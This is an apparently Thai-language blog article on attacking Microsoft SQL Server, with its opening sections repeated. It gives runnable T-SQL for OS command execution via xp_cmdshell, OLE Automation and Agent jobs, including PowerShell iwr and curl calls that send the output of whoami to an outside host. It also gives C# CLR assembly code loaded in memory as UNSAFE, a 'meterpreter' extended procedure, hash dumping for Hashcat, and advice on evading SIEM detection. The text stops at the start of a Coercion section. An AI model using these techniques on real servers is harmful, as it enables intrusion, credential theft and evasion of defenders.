ในบทความนี้จะพาไปดูมุมมองของการโจมตีและการป้องกัน Microsoft SQL Server ซึ่งเป็นระบบฐานข้อมูลที่ถูกใช้งานอย่างแพร่หลายในหลายๆ องค์กร ไม่ว่าจะเป็นเพราะระบบเดิมถูกใช้งานต่อเนื่องมาเป็นเวลานาน ต้นทุนการย้ายระบบที่สูง หรือการผูกอยู่กับ Ecosystem ของ Microsoft ผ่านบริการอย่าง Active Directory และ Subscription ต่าง ๆ ของ Windows

ถึงแม้ว่า Microsoft SQL Server จะเป็นระบบฐานข้อมูลแบบ Proprietary ของ Microsoft และไม่ได้เปิดให้ใช้งานฟรีเหมือน DBMS แบบ Open-Source อย่าง MySQL หรือ PostgreSQL แต่ความนิยมของ Microsoft SQL Server ก็ยังคงอยู่ในระดับสูงอย่างต่อเนื่อง โดยข้อมูลจาก DB‑Engines ระบุว่าในปี 2026 Microsoft SQL Server ยังคงเป็นระบบบริหารฐานข้อมูลที่ได้รับความนิยมเป็นอันดับต้น ๆ ของโลก เมื่อเปรียบเทียบกับซอฟต์แวร์ฐานข้อมูลประเภทอื่น ๆ

None
ขอขอบคุณภาพและข้อมูลสถิติจาก DB-Engines

Distinguished Feature

Microsoft SQL Server เป็น DBMS ประเภท Relational หรือ RDBMS (Relational Database Management System) ซึ่งรูปแบบการจัดเก็บข้อมูลจะอ้างอิงตามตาราง (Table) ความสัมพันธ์ของข้อมูล (Relation) และ Schema ที่ถูกกำหนดไว้อย่างชัดเจนตั้งแต่เริ่มต้นก่อนนำข้อมูลเข้ามาจัดเก็บ ส่งผลให้โครงสร้างข้อมูลมีความเป็นระเบียบและเหมาะสำหรับระบบที่ต้องการความถูกต้องของข้อมูลในระดับสูง (หรือหลายๆ คนอาจจะเคยได้ยินคำว่า ACID Property มาก่อน)

อย่างไรก็ตาม การแก้ไข Schema ภายหลังอาจทำได้ค่อนข้างยุ่งยากเมื่อเทียบกับฐานข้อมูลประเภท NoSQL อย่าง MongoDB หรือ Apache Cassandra ที่ออกแบบมาให้รองรับข้อมูลแบบยืดหยุ่นมากกว่า แต่ในหัวข้อนี้จะเน้นเปรียบเทียบลักษณะและจุดแตกต่างของ Microsoft SQL Server กับ DBMS อื่นๆ ที่เป็น Relational เหมือนกันเท่านั้น

None
ขอขอบคุณภาพจาก Geeks for Geeks

Transact-SQL (T-SQL)

ถ้าหากเราเคยใช้งาน SQL ในระดับที่ลึกขึ้นจะพบว่า DBMS สมัยใหม่ไม่ได้มีแค่คำสั่งพื้นฐานอย่าง SELECT, INSERT, UPDATE, DELETE, DROP หรือการทำ Filtering ผ่าน WHERE และ ORDER BY เท่านั้น แต่หลายๆ RDBMS ยังมีการเพิ่มความสามารถด้าน Procedural Programming เข้าไปด้วย เช่น IF-ELSE, WHILE, Function, Stored Procedure หรือแม้แต่คำสั่งสำหรับ Delay และ Automation ต่าง ๆ ทำให้ฐานข้อมูลไม่ได้เป็นเพียงระบบจัดเก็บข้อมูลทั่วไปอีกต่อไป แต่กลายเป็น Digital System ส่วนหนึ่งที่คอยขับเคลื่อน Core Business และกระบวนการทำงานสำคัญขององค์กรโดยตรง

โดยส่วนขยายดังกล่าว หากเป็น RDBMS อื่นอาจถูกเรียกรวมว่า Procedural Language (PL) แต่ในฝั่ง Microsoft SQL (MSSQL) จะถูกเรียกว่า Transact-SQL หรือ T-SQL ซึ่งมาพร้อม Feature และความสามารถพิเศษจำนวนมาก และในบางกรณีหากมีการตั้งค่าที่ไม่เหมาะสม Feature เหล่านี้ก็อาจถูกนำมาใช้โจมตีหรือยกระดับการเข้าถึงตัว Server ได้เช่นกัน โดยคนที่เคยศึกษา MSSQL เชิงลึกหรือทำแล็ปด้าน Security มาก่อนก็มักจะคุ้นเคยกับคำอย่าง custom assembly, xp_cmdshell, advanced option หรือ Feature ลักษณะใกล้เคียงกันอยู่แล้ว

None
Microsoft SQL Server Attack & Defense

เมื่อระบบฐานข้อมูลไม่ได้จบที่ข้อมูลถูกขโมย

ในบทความนี้จะพาไปดูมุมมองของการโจมตีและการป้องกัน Microsoft SQL Server ซึ่งเป็นระบบฐานข้อมูลที่ถูกใช้งานอย่างแพร่หลายในหลายๆ องค์กร ไม่ว่าจะเป็นเพราะระบบเดิมถูกใช้งานต่อเนื่องมาเป็นเวลานาน ต้นทุนการย้ายระบบที่สูง หรือการผูกอยู่กับ Ecosystem ของ Microsoft ผ่านบริการอย่าง Active Directory และ Subscription ต่าง ๆ ของ Windows

ถึงแม้ว่า Microsoft SQL Server จะเป็นระบบฐานข้อมูลแบบ Proprietary ของ Microsoft และไม่ได้เปิดให้ใช้งานฟรีเหมือน DBMS แบบ Open-Source อย่าง MySQL หรือ PostgreSQL แต่ความนิยมของ Microsoft SQL Server ก็ยังคงอยู่ในระดับสูงอย่างต่อเนื่อง โดยข้อมูลจาก DB‑Engines ระบุว่าในปี 2026 Microsoft SQL Server ยังคงเป็นระบบบริหารฐานข้อมูลที่ได้รับความนิยมเป็นอันดับต้น ๆ ของโลก เมื่อเปรียบเทียบกับซอฟต์แวร์ฐานข้อมูลประเภทอื่น ๆ

None
ขอขอบคุณภาพและข้อมูลสถิติจาก DB-Engines

Distinguished Feature

Microsoft SQL Server เป็น DBMS ประเภท Relational หรือ RDBMS (Relational Database Management System) ซึ่งรูปแบบการจัดเก็บข้อมูลจะอ้างอิงตามตาราง (Table) ความสัมพันธ์ของข้อมูล (Relation) และ Schema ที่ถูกกำหนดไว้อย่างชัดเจนตั้งแต่เริ่มต้นก่อนนำข้อมูลเข้ามาจัดเก็บ ส่งผลให้โครงสร้างข้อมูลมีความเป็นระเบียบและเหมาะสำหรับระบบที่ต้องการความถูกต้องของข้อมูลในระดับสูง (หรือหลายๆ คนอาจจะเคยได้ยินคำว่า ACID Property มาก่อน)

อย่างไรก็ตาม การแก้ไข Schema ภายหลังอาจทำได้ค่อนข้างยุ่งยากเมื่อเทียบกับฐานข้อมูลประเภท NoSQL อย่าง MongoDB หรือ Apache Cassandra ที่ออกแบบมาให้รองรับข้อมูลแบบยืดหยุ่นมากกว่า แต่ในหัวข้อนี้จะเน้นเปรียบเทียบลักษณะและจุดแตกต่างของ Microsoft SQL Server กับ DBMS อื่นๆ ที่เป็น Relational เหมือนกันเท่านั้น

None
ขอขอบคุณภาพจาก Geeks for Geeks

Transact-SQL (T-SQL)

ถ้าหากเราเคยใช้งาน SQL ในระดับที่ลึกขึ้นจะพบว่า DBMS สมัยใหม่ไม่ได้มีแค่คำสั่งพื้นฐานอย่าง SELECT, INSERT, UPDATE, DELETE หรือการทำ Filtering ผ่าน WHERE และ ORDER BY เท่านั้น แต่หลายๆ RDBMS ยังมีการเพิ่มความสามารถด้าน Procedural Programming เข้าไปด้วย เช่น IF-ELSE, WHILE, Function, Stored Procedure หรือแม้แต่คำสั่งสำหรับ Delay และ Automation ต่าง ๆ ทำให้ฐานข้อมูลไม่ได้เป็นเพียงระบบจัดเก็บข้อมูลทั่วไปอีกต่อไป แต่กลายเป็น Digital System ส่วนหนึ่งที่คอยขับเคลื่อน Core Business และกระบวนการทำงานสำคัญขององค์กรโดยตรง

โดยส่วนขยายดังกล่าว หากเป็น RDBMS อื่นอาจถูกเรียกรวมว่า Procedural Language (PL) แต่ในฝั่ง Microsoft SQL (MSSQL) จะถูกเรียกว่า Transact-SQL หรือ T-SQL ซึ่งมาพร้อม Feature และความสามารถพิเศษจำนวนมาก และในบางกรณีหากมีการตั้งค่าที่ไม่เหมาะสม Feature เหล่านี้ก็อาจถูกนำมาใช้โจมตีหรือยกระดับการเข้าถึงตัว Server ได้เช่นกัน โดยคนที่เคยศึกษา MSSQL เชิงลึกหรือทำแล็ปด้าน Security มาก่อนก็มักจะคุ้นเคยกับคำอย่าง custom assembly, xp_cmdshell, advanced option หรือ Feature ลักษณะใกล้เคียงกันอยู่แล้ว

None
ขอขอบคุณภาพจาก EDUCBA

Authentication

โดยปกติแล้วเวลาเข้าใช้งาน RDBMS เพื่อเข้าถึงฐานข้อมูล เรามักจะให้ Database User ที่มีสิทธิ์ระดับสูงอย่าง Root หรือ Administrative Account ทำหน้าที่สร้าง User อื่นขึ้นมา พร้อมกำหนดสิทธิ์การเข้าถึงตามหน้าที่การใช้งาน ถ้าหากเราเคยใช้งาน MySQL มาก่อนก็คงพอจะคอยเห็นคำสั่งด้านล่างผ่านๆ ตามาบ้าง

CREATE USER 'app_user'@'localhost'
IDENTIFIED BY 'StrongPassword123!';

GRANT SELECT, INSERT, UPDATE
ON company_db.*
TO 'app_user'@'localhost';

FLUSH PRIVILEGES;

แต่อย่างไรก็ดี Account ที่ถูกสร้างขึ้นภายใน RDBMS มักจะเป็น Local Account ที่ถูกจัดการโดยตัว Database Engine เอง ทำให้ฝั่ง Operating System ไม่สามารถเข้าไปควบคุมสิทธิ์ได้โดยตรง ดังนั้นในบางกรณี ต่อให้ทำ Privilege Escalation บน Server สำเร็จ ก็ไม่ได้หมายความว่าจะเข้าถึง RDBMS ได้ทั้งหมด

แต่อย่างไรก็ตาม การทำ Identity & Access Management (IAM) ภายในองค์กรขนาดใหญ่มักเป็นเรื่องซับซ้อน ทำให้ RDBMS หลายๆ ระบบเริ่มรองรับการ Authentication จากระบบภายนอกแทนการสร้าง User ภายใน Database เพียงอย่างเดียว โดยในฝั่ง Microsoft SQL Server จะมี Feature ที่เรียกว่า Integrated Authentication ซึ่งอนุญาตให้ Windows Local Account หรือ Domain Account จาก Active Directory สามารถใช้ Log in เข้าใช้งาน Database ได้โดยตรง ถึงแม้ Identity จะถูกผูกอยู่กับระบบอื่น แต่สิทธิ์การเข้าถึงภายใน Database ก็ยังคงถูกจัดการโดย MSSQL อยู่ดี ซึ่งช่วยลดภาระด้านการจัดการ Identity ภายในองค์กรได้ค่อนข้างมาก

หมายความว่าหากเกิดการ Compromise บัญชี Windows ที่มีสิทธิ์สูงหรือถูกผูกไว้กับ Microsoft SQL Server ผ่าน Integrated Authentication ก็อาจทำให้สามารถเข้าควบคุมหรือใช้งาน MSSQL ได้ทันที โดยไม่จำเป็นต้องทราบรหัสผ่านของ Database Administrator Account อย่าง sa เลย อีกทั้งเทคนิคโจมตีฝั่ง Windows Authentication อย่าง Pass-the-Hash, Silver Ticket, หรือ NTLM Relay ก็อาจถูกนำมาใช้กับระบบลักษณะนี้ได้เช่นกัน หากมีการตั้งค่าที่ไม่เหมาะสมหรือขาดการป้องกันที่เพียงพอ

None
ขอขอบคุณภาพจาก The Quest Blog

Database Sandbox & Trustworthy

RDBMS หลายๆ ตัวมักออกแบบให้แต่ละ Database ถูก Isolate ออกจากกันค่อนข้างชัดเจน ทำให้การสร้าง Query หรือการทำงานที่ต้องอาศัยข้อมูลข้ามหลาย Database อาจทำได้ค่อนข้างยุ่งยาก แต่ในฝั่ง Microsoft SQL Server จะเลือกแนวทางที่แตกต่างออกไป โดยลดระดับ Isolation ระหว่าง Database ลงและเปิดให้แต่ละ Database สามารถติดต่อหรืออ้างอิงกันได้ง่ายขึ้น เพื่อรองรับการทำงานระดับ Enterprise ที่ต้องใช้งานข้อมูลร่วมกันหลายส่วน

โดย Microsoft SQL Server จะมีการแบ่งสิทธิ์ของผู้ใช้งานออกเป็น 2 ระดับหลักๆ ได้แก่ Server Role และ Database Role

  • Server Role — หรือที่เรียกว่า Login จะเป็นการกำหนดว่า Account ที่ทำการ Log in เข้าสู่ MSSQL สามารถทำอะไรกับตัว Server ได้บ้าง เช่นจัดการ Configuration เข้าถึง Database ใด หรือใช้งาน Feature ระดับ Server อะไรได้บ้าง
  • Database Role — หรือที่เรียกว่า User เมื่อ Login ทำการเข้าใช้งาน Database ใด ๆ ตัว MSSQL จะทำการ Map Login ให้กลายเป็น User ภายใน Database นั้น ซึ่งสิทธิ์ของ User สามารถแตกต่างกันไปในแต่ละ Database เพื่อกำหนดการเข้าถึงข้อมูล ตาราง และ Object ต่าง ๆ ที่แยกออกจากกันอีกทีนึง

อีก Feature สำคัญของ Microsoft SQL Server ก็คือเรื่อง TRUSTWORTHY ซึ่งเป็นค่าที่ตัว Server ใช้กำหนดความน่าเชื่อถือให้กับแต่ละ Database ภายในระบบ โดยหาก Database ใดถูกเปิดใช้งานค่านี้ ก็อาจทำให้ Context ภายใน Database นั้นสามารถเข้าถึง Resource ระดับ Server หรือเชื่อมต่อไปยัง Database อื่นได้มากขึ้น ดังนั้นในมุมมองด้าน Security เวลาเกิดการ Compromise Database ใดขึ้นมา สิ่งสำคัญที่ต้องตรวจสอบต่อทันทีคือ Database นั้นเปิด TRUSTWORTHY ไว้หรือไม่ เพราะอาจถูกใช้ในการขยายขอบเขตของการโจมตีได้

None
ขอขอบคุณภาพจาก Straight Path Solutions

Impersonation

Impersonation เป็น Feature ที่พบได้ในหลาย RDBMS รวมไปถึง Microsoft SQL Server ซึ่งอนุญาตให้ผู้ใช้งานสามารถรันคำสั่งในบริบทของผู้ใช้งานคนอื่นได้ชั่วคราว โดยไม่จำเป็นต้อง Log out และ Log in ใหม่ ช่วยอำนวยความสะดวกในการจัดการสิทธิ์และการทำ Automation ภายในระบบได้พอสมควร อย่างไรก็ตาม หากมีการกำหนดสิทธิ์ Impersonate ที่ไม่เหมาะสม ก็อาจเปิดโอกาสให้ผู้ใช้งานสิทธิ์ต่ำสามารถสวมรอยเป็น Account ระดับสูง และนำไปสู่การเข้าควบคุม SQL Server ได้เช่นกัน

ตามที่กล่าวไปก่อนหน้านี้ว่า Microsoft SQL Server มีการแบ่งสิทธิ์ผู้ใช้งานออกเป็น 2 ระดับคือ Login และ User ทำให้ Feature อย่าง Impersonation ก็ถูกแบ่งออกเป็น 2 รูปแบบเช่นกัน โดย IMPERSONATE LOGIN จะเป็นการสวมรอยสิทธิ์ในระดับ Server Role ว่าสามารถกลายเป็น Login ใดได้บ้าง ส่วน IMPERSONATE USER จะเป็นการสวมรอยในระดับ Database Role ว่าสามารถกลายเป็น User ใดภายใน Database นั้นได้บ้าง ถึงแม้ฝั่ง User จะดูร้ายแรงน้อยกว่าเพราะขอบเขตถูกจำกัดอยู่ภายใน Database แต่ในบางกรณีหากมีการตั้งค่าสิทธิ์ผิดพลาดหรือมีการเปิด Feature บางอย่างร่วมกัน ก็อาจนำไปสู่การสวมรอยเป็น SAหรือ Account ระดับ Database Administrator ได้เช่นกัน

None
ขอขอบคุณภาพจาก Johns, Flaherty & Collins, S.C.

MSSQL Linked Server

จริง ๆ แล้ว Concept ที่ให้ SQL Server ตัวหนึ่งสามารถติดต่อหรือรันคำสั่งไปยัง SQL Server อีกตัวไม่ใช่ Feature ที่มีเฉพาะใน MSSQL เพราะ RDBMS อื่นๆ ก็สามารถทำงานในลักษณะเดียวกันได้เช่นกัน แต่จุดที่ทำให้ MSSQL โดดเด่นคือการออกแบบที่ทำให้ Feature เหล่านี้ถูกใช้งานได้ง่ายและเชื่อมต่อกันค่อนข้างแนบแน่น (Seamless Integration) ในขณะที่ RDBMS อื่นมักต้องอาศัยการตั้งค่าเพิ่มเติม การลง Plugin หรือการเชื่อมต่อผ่าน Extension ต่าง ๆ ทำให้การทำงานข้าม Server หรือข้าม Database มีความซับซ้อนมากกว่า MSSQL พอสมควร

ในหลายองค์กร การมี Microsoft SQL Server หลายเครื่องถือเป็นเรื่องปกติ เนื่องจากมักถูกออกแบบมาเพื่อช่วยกระจาย Load แยกหน้าที่การทำงาน หรือรองรับระบบสำรอง เพื่อลดความเสี่ยงจาก Single Point of Failure ที่อาจส่งผลกระทบต่อทั้งองค์กรหาก Database หลักเกิดปัญหา อย่างไรก็ตาม Feature ที่ช่วยให้ SQL Server หลายตัวสามารถเชื่อมต่อหรือทำงานร่วมกันได้ (Linked Server) ก็อาจกลายเป็นความเสี่ยงด้าน Security ได้เช่นกัน เพราะหากมีการตั้งค่าที่ไม่ปลอดภัย เมื่อ SQL Server ตัวหนึ่งถูก Compromise ก็อาจถูกใช้เป็นจุดเริ่มต้นในการเข้าถึงหรือขยายการโจมตีไปยัง SQL Server เครื่องอื่นภายในเครือข่าย รวมถึงระบบที่อยู่ใน Segment หรือ Network ที่ผู้โจมตีไม่สามารถเข้าถึงได้โดยตรงตั้งแต่แรก

None
ขอขอบคุณภาพจาก Thai Create

Advanced Options

โดยค่า Default หลังติดตั้ง Microsoft SQL Server จะไม่ได้เปิดใช้งานทุก Feature หรือทุกความสามารถของ Transact-SQL โดยเฉพาะ Feature ระดับสูงหรือกลุ่ม Advanced Options ที่เกี่ยวข้องกับการจัดการระบบและการเชื่อมต่อกับภายนอก เนื่องจากหากมีการตั้งค่าที่ไม่เหมาะสม Feature เหล่านี้ก็อาจถูกนำมาใช้ในการโจมตี ยกระดับสิทธิ์ หรือแม้แต่เข้าควบคุม MSSQL Server ได้เช่นกัน

เราสามารถใช้คำสั่ง EXEC sp_configure; เพื่อตรวจสอบ Configuration ต่าง ๆ ของ Microsoft SQL Server ได้ โดยค่า Default รายการที่แสดงออกมาจะเป็นเพียง Feature พื้นฐานหรือ Basic Option เท่านั้น ส่วน Feature ระดับสูงหรือ Advanced Option จะยังไม่ถูกแสดงจนกว่าจะมีการเปิดใช้งานเพิ่มเติม

None

เราจึงสามารถใช้คำสั่งด้านล่างเพื่อเปิดการมองเห็น Feature ทั้งหมดรวมไปถึง Advanced Option ได้ แต่ต้องเข้าใจก่อนว่านี่เป็นเพียงการ Toggle Visibility หรือเปิดให้มองเห็น Configuration เพิ่มเติมเท่านั้น ตัว Feature ระดับสูงต่าง ๆ จะยังไม่ได้ถูกเปิดใช้งานจริงจนกว่าจะมีการ Enable แยกอีกครั้งหนึ่ง

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure;
None

xp_cmdshell

Feature อย่าง xp_cmdshell ภายใน Microsoft SQL Server มีหน้าที่สำหรับรันคำสั่งของระบบปฏิบัติการจากภายใน MSSQL โดยตรง ดังนั้นเมื่อใดก็ตามที่ผู้โจมตีสามารถเปิดใช้งานหรือเข้าถึง Feature นี้ได้ ก็อาจหมายถึงการ Escape จาก Database Service นำไปสู่การเข้าควบคุมตัว Server อย่างเต็มรูปแบบ

หากต้องการ Enable Feature หรือ Advanced Feature ภายใน Microsoft SQL Server เราสามารถใช้คำสั่ง sp_configure ร่วมกับ RECONFIGURE เพื่อเปิดใช้งาน Feature ที่ต้องการได้ เช่นตัวอย่างด้านล่าง

EXEC sp_configure 'feature_name', 1;
RECONFIGURE;

จากภาพด้านล่างเราจะพบว่าหลังจากที่เราเปิดใช้งาน Feature xp_cmdshell เราก็สามารถรันคำสั่งไปยังตัว Server ได้ผ่านตัว MSSQL Server เปรียบเสมือนเรากำลังใช้งาน PowerShell หรือ Command Prompt เลย

None

ข้อควรระวังของเทคนิคนี้คือ เมื่อ MSSQL Server ส่งคำสั่งไปยัง Command Prompt หรือ PowerShell ที่เป็น Child Process จะถูก Spawn โดยมี Parent Process เป็น sqlservr.exe ซึ่งในสภาพแวดล้อมปกติ การที่ Database Service ไปเรียก shell ของระบบถือว่าเป็นพฤติกรรมที่ผิดปกติและสามารถถูกตรวจจับได้ง่ายโดย SOC หรือ SIEM ดังนั้นเทคนิคนี้จึงไม่ค่อยเหมาะกับการใช้งานในมุมมอง OPSEC และมีโอกาสถูก alert สูง

OLE Automation Procedure

Microsoft SQL Server มีฟีเจอร์ที่สามารถติดต่อกับ Windows COM Object ผ่าน OLE (Object Linking and Embedding) Automation ได้ เพื่อใช้เรียกใช้งาน component ของ Windows แต่ในปัจจุบันแทบไม่ค่อยมีการใช้งานโดยตรงแล้ว เพราะ T-SQL หรือ Built-in Basic Option ใน MSSQL สมัยใหม่สามารถทำงานแทนมันได้แล้ว ซึ่งถ้าจะเปิดใช้งานก็คงต้องใช้งานกับพวก Legacy System ที่ต้องการ Backward Combability แทน

Windows มี COM Object มากมายหลายตัวให้ผู้ใช้สามารถใช้งานได้ นั่นก็รวมไปถึง Object Wscript.shell ที่สามารถใช้ในการสั่งงาน Host ได้เทียบเท่ากับการใช้ Command Prompt หรือ PowerShell ซึ่งสามารถใช้แทน xp_cmdshell ในการทำ Code Execution

EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;

DECLARE @obj INT; 
EXEC sp_OACreate 'wscript.shell', @obj OUT; 
DECLARE @obj INT;  EXEC sp_OACreate 'wscript.shell', @obj OUT;  EXEC sp_OAMethod @obj, 'run', NULL, 'powershell -c iwr -uri http://10.10.17.76/$(whoami)';

หลังจากเปิดใช้งานฟีเจอร์ดังกล่าวเราจะสามารถส่งคำสั่งไปหา Host ได้ทันที ถ้าหากเทียบกับ xp_cmdshell จะเป็นการโจมตีแบบ Blind Comamnd Execution โดยที่ผลลัพธ์จะไม่ถูกส่งกลับมาโดยตรงผ่านทางหน้าจอ

None

ในมุมมองของการ Stealth นั้น การเรียกใช้งาน COM Object Wscript.shell จะเป็นการ Spawn Command Prompt ที่เป็น Child Parent แก่ sqlservr.exe เหมือนกับกรณีของ xp_cmdshell ดังนั้นแล้วถ้าอยากให้มีความแนบเนียนที่มากขึ้นเราก็ควรจะพึ่งพา COM Object อื่นๆ แทน เช่น ScriptControl , Shell.Application , หรือ WbemScripting.SWbemLocator เป็นต้น เผื่อบางที Rule ของ SIEM อาจจะไม่ได้ครอบคลุมก็เป็นได้

None

SQL Server Agent Jobs

MSSQL มี Advanced Feature ที่เรียกว่า SQL Server Agent ซึ่งเทียบได้กับพวก Scheduled Task บน Windows หรือ Cron Job ใน Linux ทำหน้าที่สร้าง Task เพื่อให้ Agent ทำงาน อาจจะทำทันทีหรือทำเป็นกะเวลาก็ได้

โดยข้อแตกต่างจากเทคนิคอื่น ๆ ก็คือ Parent Process ที่ใช้งานจะเป็น SQLAGENT.EXE แทนที่จะเป็น sqlservr.exe ซึ่งดูแนบเนียนกว่า ในการที่ Agent จำเป็นต้องรันคำสั่งผ่าน Command Prompt หรือ PowerShell เพื่อทำงานบางอย่างที่ตั้งเอาไว้ให้สำเร็จลุล่วง และถ้า Service Principal ที่รัน SQLAGENT.EXE มีสิทธิ์แตกต่างจาก sqlservr.exe การโจมตีนี้ก็อาจนำไปสู่การทำ Privilege Escalation ได้เช่นกัน

แต่ต้องบอกไว้ก่อนว่า MSSQL จะทำการจัดเก็บข้อมูลกับ Agent Job ไว้ที่ Database msdb เสมอ แปลว่าถ้าเราจะโจมตีด้วยท่านี้เราจะต้อง Switch มาที่ Database msdb ก่อนตลอด เราสามารถใช้คำสั่งด้านล่างเพื่อทดสอบการทำ Command Execution ผ่าน SQL Server Agent Jobs

EXEC sp_configure 'Agent XPs', 1;
RECONFIGURE;

USE msdb;

EXEC sp_add_job @job_name='RunSub';
EXEC sp_add_jobstep @job_name='RunSub', @step_name='exec', @subsystem='PowerShell', @command='curl http://10.10.17.76/testing';
EXEC sp_add_jobserver @job_name='RunSub';
EXEC sp_start_job @job_name='RunSub';
None

Custom Assembly

ถ้าเทียบกับฐานข้อมูลอื่น ๆ ที่สามารถแทรก Binary Code ลงไปใน Memory ของ Database Engine เพื่อทำ Command Execution ผ่าน Feature อย่าง User-Defined Function (UDF) แล้ว Microsoft SQL Server ก็สามารถทำในลักษณะคล้ายกันได้ แต่จะเรียกว่า Extended Stored Procedures ซึ่งเปิดให้ผู้ใช้งานสามารถเขียน custom library ในรูปแบบ .dll ด้วยภาษา C/C++ เพื่อให้ MSSQL Server รัน Code อะไรก็ตามที่เราเขียนเอาไว้ได้ อย่างไรก็ตาม Feature นี้ค่อนข้างเก่าและถูกมองว่า deprecated แล้วในระบบสมัยใหม่

EXEC sp_addextendedproc 'meterpreter', 'C:\Users\Public\temp.dll';
EXEC meterpreter 'whoami';
None

เนื่องด้วยข้อจำกัดของภาษา C/C++ ที่จำเป็นต้องมีการจัดการ memory และ garbage collection ด้วยตนเอง หาก DLL มีบัค โดยเฉพาะบัคที่เกี่ยวข้องกับ memory อาจทำให้ Microsoft SQL Server ทั้งระบบ crash ได้ ส่งผลกระทบต่อธุรกิจโดยตรง

ดังนั้นใน MSSQL เวอร์ชันใหม่ ๆ จะมี Advanced Feature ที่เรียกว่า Custom Assembly ซึ่งอนุญาตให้โหลด DLL ที่เขียนด้วย C# ที่เป็น Managed Code แทน เพื่อช่วยลดความเสี่ยงจากปัญหาการจัดการหน่วยความจำแบบ native

  • clr enabled — อนุญาตให้โหลด DLL ที่เขียนด้วย C# เข้าสู่ Memory ของ MSSQL ได้ในฐานะของ Extended Stored Procedure
  • clr strict security — อนุญาตให้โหลด DLL ที่ Untrusted หรือไม่ได้ถูก Sign จากแหล่งที่น่าเชื่อถือได้
  • msdb — จำเป็นต้องใช้ Feature นี้บน Database นี้เสมอ
EXEC sp_configure 'clr enabled',1
RECONFIGURE
EXEC sp_configure 'clr strict security', 0
RECONFIGURE

USE msdb;

ขั้นตอนถัดไปคือการเตรียม DLL โดยโค้ด DLL ด้านล่างจะใช้สร้าง Stored Procedure ที่ชื่อ RunCmd เพื่อสั่งรัน Command Prompt อีกทีนึง อย่างไรก็ตามในมุมมองของ OPSEC นั้น เราไม่ควรใช้ DLL แบบนี้เนื่องจากจะเกิดการ Spawn Child Process cmd.exe ขึ้นมาทำให้ดูน่าสงสัย ดังนั้นทางที่ถูกต้องเราควรสั่งให้มันสื่อสารไปยัง C2 หรือทำอะไรสักอย่างที่ไม่มีการสร้าง Process ใหม่ในระบบ

using System;
using System.Diagnostics;
using Microsoft.SqlServer.Server;

public class SimpleExec
{
    [SqlProcedure]
    public static void RunCmd(string cmd)
    {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.Start();

        // Send the output back to SQL
        SqlContext.Pipe.Send(p.StandardOutput.ReadToEnd());
        p.WaitForExit();
    }
}

จากนั้น Compile Code ด้วย Microsoft Visual Studio หรือใช้คำสั่งข้างล่างบน Kali Linux เพื่อทำแบบเดียวกันได้เช่นกัน

mcs -target:library -out:code.dll -r:System.Data.dll code.cs

ถ้าในแบบปกติเราจะต้องนำ DLL ไปวางบนเครื่องเป้าหมาย หรือใช้วิธีแชร์ผ่าน SMB Server ซึ่งมักจะถูกตรวจจับโดย Signature-Based Antivirus แต่ก็ต้องขอบคุณ Windows สมัยใหม่ที่มี Feature ที่เรียกว่า Reflection ทำให้เราสามารถ Inject Binary ใดๆ ก็ตามที่เขียนด้วย C# เข้าไปที่ Memory โดยตรงโดยที่ Windows สามารถเข้าใจได้ทันทีโดยปราศจากการ Compile หรือสร้าง Temporary File ใดๆ ซึ่งเป็นเทคนิคที่ Fileless Malware หลายๆ ตัวมักจะใช้ในการหลบหลีกการตรวจจับ

เราสามารถใช้คำสั่งด้านล่างบน Kali Linux เพื่อแปลง DLL ที่เรา Compile เมื่อสักครู่ให้อยู่ในรูปแบบของ Shellcode ที่สามารถส่งไปยัง MSSQL Terminal เพื่อทำการรันโค้ดบน Memory โดยตรง

cat code.dll | xxd -p | tr -d '\n' | sed 's/^/0x/'
None

จากนั้นเราสามารถใช้คำสั่งด้านล่างบน MSSQL Terminal เพื่อทำการโหลด Shellcode เมื่อสักครู่เข้าสู่ Memory โดยตรงและทำการเรียกใช้งานเพื่อทำ Command Execution

CREATE ASSEMBLY code FROM 0x4d5a9000030000... WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmd @cmd NVARCHAR(MAX) AS EXTERNAL NAME [code].[SimpleExec].[RunCmd];

EXEC sp_cmd 'whoami /all';
None

Privilege Escalation

หัวข้อที่แล้วเป็นเรื่องของการทำ Command Execution ในท่าต่าง ๆ บน MSSQL Service อย่างไรก็ตาม การที่เราจะใช้งาน Advanced Feature ที่กล่าวมานั้น ผู้ใช้งานจำเป็นต้องมีสิทธิ์ค่อนข้างสูงในระดับ Server เช่น SA หรือ Database Administrator ดังนั้นก่อนจะไปถึงจุดนั้นเราจึงจำเป็นต้องยกระดับสิทธิ์ตัวเองให้ได้ก่อน

Credential Access

วิธีการยกระดับสิทธิ์ที่น่าจะตรงไปตรงมาที่สุดก็คือการหารหัสผ่านของผู้ใช้งานอื่น เพื่อมาเข้าสู่ระบบนั่นเอง ถ้าเราโชคดีได้รับรหัสผ่านของผู้ใช้งานที่มีสิทธิ์สูงก็จะสามารถยกระดับสิทธิ์ได้โดยทันที

นอกเหนือจาก database อื่น ๆ ที่ผู้ใช้งานสร้างขึ้นมาเองและอาจมีการเก็บรหัสผ่านนั้น MSSQL Server จะมี default database อยู่ทั้งหมด 4 ตัว ได้แก่ tempdb, msdb, master และ model โดยในส่วนของ Hash ของรหัสผ่านสำหรับ MSSQL local user จะถูกเก็บและจัดการภายใน Database master เสมอ

SELECT name, sys.fn_varbintohexstr(password_hash) FROM sys.sql_logins
None

ซึ่งเราสามารถ Crack ได้ด้วย Hashcat แต่เราอาจจะต้องเลือก Mode ให้ถูกต้องเพราะว่า MSSQL Server แต่ละเวอร์ชันใช้ Algorithm ไม่เหมือนกัน

None
None

Coercion

อีกเทคนิคหนึ่งในการได้รับ Credential จาก Windows Service ต่าง ๆ รวมไปถึง Microsoft SQL Server ก็คือการทำ Coercion ซึ่งเป็นการโจมตีที่ใช้ช่องโหว่ทำให้เครื่องปลายทางถูกบังคับให้ทำการ Authentication ไปยังเครื่องเป้าหมาย ทำให้ผู้โจมตีที่อยู่ในเครื่องเป้าหมายสามารถได้รับ Credential ไปได้ทันที

